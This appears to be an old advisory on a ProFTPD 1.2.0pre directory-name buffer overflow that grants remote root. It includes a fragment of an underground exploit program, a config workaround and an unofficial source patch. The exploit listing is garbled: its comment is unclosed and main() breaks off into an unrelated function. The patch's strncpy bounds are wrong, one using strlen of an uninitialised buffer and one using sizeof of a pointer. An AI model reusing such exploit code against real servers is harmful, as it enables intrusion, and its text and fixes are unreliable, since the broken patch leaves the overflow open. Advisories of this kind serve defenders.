ProFTPD is an FTP daemon for UNIX and UNIX-like operating systems and although this FTP daemon was developed out of the desire to have a secure and configurable FTP server, a security hole in the daemon enables a remote attacker to gain root privileges.
By creating a directory containing arbitrary characters in the directory name, a remote attacker can gain root privileges on a remote server. This is done by overflowing the buffer used to store directory names, causing the program to execute arbitrary code.
The following exploit code enables administrators to test their system against the mentioned vulnerability: ------ start of exploit code ------
/*
* !!!! Private .. ... distribute !!!!
*
* <pro.c> proftpd-1.2.0 remote root exploit (beta2)
* (Still need some code, but it works fine)
*
* Offset: Linux Redhat 6.0
* 0 -> proftpd-1.2.0pre1
* 0 -> proftpd-1.2.0pre2
* 0 -> proftpd-1.2.0pre3
* (If this dont work, try changing the align)
*
* Usage:
* $ cc pro.c -o pro
* $ pro 1.1.1.1 ftp.linuz.com /incoming
*
* ****
* Comunists are still alive ph34r
* A lot of shit to : #cybernet@ircnet
* Greez to Soren,Draven,DaSnake,Nail^D0D,BlackBird,scaina,cliffo,m00n,phroid,Mr-X,inforic
* Dialtone,AlexB,naif,etcetc
* without them this puppy cant be spreaded uaz uaz uaz
* ****
*
int sockfd;
struct sockaddr_in server, yo;
char inicio[20];
int main(int argc, char **argv) {
char sendln[1024], recvln[4048], buf1[1000], buf2[200];
struct hostent *host;
char *p, *q;
int len;
int offset = 0;
int align = 0;
int i;
if(argc < 4){
printf("usage: pro <your_ip> <host> <dir> [-l name pass] [offset align]\n");
printf("If dont work, try different align values (0 to 3)\n");
exit(0); }
if(x > y)
return(x);
else
return(y);
} ------ end of exploit code ------
Quick Workaround
If you want to disable this fast on your ProFTPD, just add:
PathAllowFilter ".*/[A-Za-z0-9]+-$"
Patch
The following is an unofficial patch that solves this problem:
--- proftpd-1.2.0pre2.orig/modules/mod_xfer.c Sun Aug 29 11:17:42 1999
+++ proftpd-1.2.0pre2/modules/mod_xfer.c Sun Aug 29 11:22:24 1999
@@ -28,6 +28,11 @@
* _translate_ascii was returning a buffer larger than the max buffer
* size causing memory overrun and all sorts of neat corruption.
* Status: Stomped
+ *
+ * 8/29/99 1.2.0pre2
+ *
+ * Fixed 2 exploitable buffer overflows
+ * dumped@sekure.org
*
*/
@@ -181,7 +186,7 @@
/* otherwise everthing is good */
p = mod_privdata_alloc(cmd,"stor_filename",strlen(dir)+1);
- strcpy(p->value.str_val,dir);
+ strncpy(p->value.str_val, dir, strlen(p->value.str_val));
return HANDLED(cmd);
}
@@ -374,7 +379,7 @@
/* otherwise everthing is good */
p = mod_privdata_alloc(cmd,"retr_filename",strlen(dir)+1);
- strcpy(p->value.str_val,dir);
+ strncpy(p->value.str_val,dir, sizeof(p->value.str_val));
return HANDLED(cmd);
}